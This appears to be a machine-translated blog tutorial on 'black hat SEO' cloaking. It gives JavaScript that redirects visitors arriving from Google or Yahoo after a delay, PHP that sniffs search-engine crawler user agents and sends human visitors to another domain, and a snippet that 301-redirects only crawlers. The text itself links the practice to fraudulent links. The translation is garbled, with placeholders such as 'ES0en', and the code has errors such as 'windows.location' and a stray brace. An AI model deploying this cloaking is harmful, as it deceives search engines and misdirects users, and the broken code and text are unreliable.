According to ES0en ES1en the spider code black hat jump code of js version and php version is determined

One of the tricks of the Black hat seo approach that everybody USES is to determine user-ES3en on the server side of the client browser and then do the next step,

There's been a lot of people on the web using this code. It starts with an js code that tells you where your visitors are coming from. If it's a search engine, it jumps. If it's a direct visit, it doesn't change

<script language="javascript">
var pattern = /google/gi;
var pattern1= /yahoo/gi;
var keyValue=escape(document.referrer);
if (pattern.exec(keyValue))
setTimeout(
"windows.location='https://www.ofstack.com'",10*1000);
else if(pattern1.exec(keyValue))
setTimeout(
"window.location='https://www.ofstack.com'",10*1000);
</script>

If it is user-ES11en of the search engine, then 301 redirect is the practice of many fraudulent links on the Internet (the code will be put at the end)

Specific there are a lot of ideas, jump, Joe page and so on today only put out the code php code

Declaration code is baidu down to write a simple first
Judge by php's $_SERVER[' HTTP_USER_AGENT']

<?php
$tmp = $_SERVER['HTTP_USER_AGENT'];
if(strpos($tmp, 'Googlebot') !== false){
    echo ' Google ';
} else if(strpos($tmp, 'Baiduspider') >0){
    echo ' baidu ';
} else if(strpos($tmp, 'Yahoo! Slurp') !== false){
    echo ' Yahoo! ';
} else if(strpos($tmp, 'msnbot') !== false){
    echo 'Msn';
} else if(strpos($tmp, 'Sosospider') !== false){
    echo ' search ';
} else if(strpos($tmp, 'YodaoBot') !== false || strpos($tmp, 'OutfoxBot') !== false){
    echo ' youdao ';
} else if(strpos($tmp, 'Sogou web spider') !== false || strpos($tmp, 'Sogou Orion spider') !== false){
    echo ' sogou ';
} else if(strpos($tmp, 'fast-webcrawler') !== false){
    echo 'Alltheweb';
} else if(strpos($tmp, 'Gaisbot') !== false){
    echo 'Gais';
} else if(strpos($tmp, 'ia_archiver') !== false){
    echo 'Alexa';
} else if(strpos($tmp, 'altavista') !== false){
    echo 'AltaVista';
} else if(strpos($tmp, 'lycos_spider') !== false){
    echo 'Lycos';
} else if(strpos($tmp, 'Inktomi slurp') !== false){
    echo 'Inktomi';
}
?>

Paragraph 2 with a jump

<?php
$flag = false;
$tmp = $_SERVER['HTTP_USER_AGENT'];
if(strpos($tmp, 'Googlebot') !== false){
    $flag = true;
} else if(strpos($tmp, 'Baiduspider') >0){
    $flag = true;
} else if(strpos($tmp, 'Yahoo! Slurp') !== false){
    $flag = true;
} else if(strpos($tmp, 'msnbot') !== false){
    $flag = true;
} else if(strpos($tmp, 'Sosospider') !== false){
    $flag = true;
} else if(strpos($tmp, 'YodaoBot') !== false || strpos($tmp, 'OutfoxBot') !== false){
    $flag = true;
} else if(strpos($tmp, 'Sogou web spider') !== false || strpos($tmp, 'Sogou Orion spider') !== false){
    $flag = true;
} else if(strpos($tmp, 'fast-webcrawler') !== false){
    $flag = true;
} else if(strpos($tmp, 'Gaisbot') !== false){
    $flag = true;
} else if(strpos($tmp, 'ia_archiver') !== false){
    $flag = true;
} else if(strpos($tmp, 'altavista') !== false){
    $flag = true;
} else if(strpos($tmp, 'lycos_spider') !== false){
    $flag = true;
} else if(strpos($tmp, 'Inktomi slurp') !== false){
    $flag = true;
}
if($flag == false){
   header("Location: https://www.ofstack.com" . $_SERVER['REQUEST_URI']);
    //  Automatically transferred to the https://www.ofstack.com  Corresponding page 
    // $_SERVER['REQUEST_URI']  Is the path after the domain name 
    //  or   Switch to  header("Location: https://www.ofstack.com/abc/d.php");
   exit();
}
?>

The third code is determined after the 301 jump

if (preg_match( " #(google|slurp@inktomi|yahoo! slurp|msnbot)#si " , $_SERVER['HTTP_USER_AGENT'])) {
 
header( " HTTP/1.1 301 Moved Permanently " );
header( " Location: http://www.saoyu.com/ " );
exit;
 
}}

The black hat approach is risky and should be used with caution. If the friend feels like looking for the back door.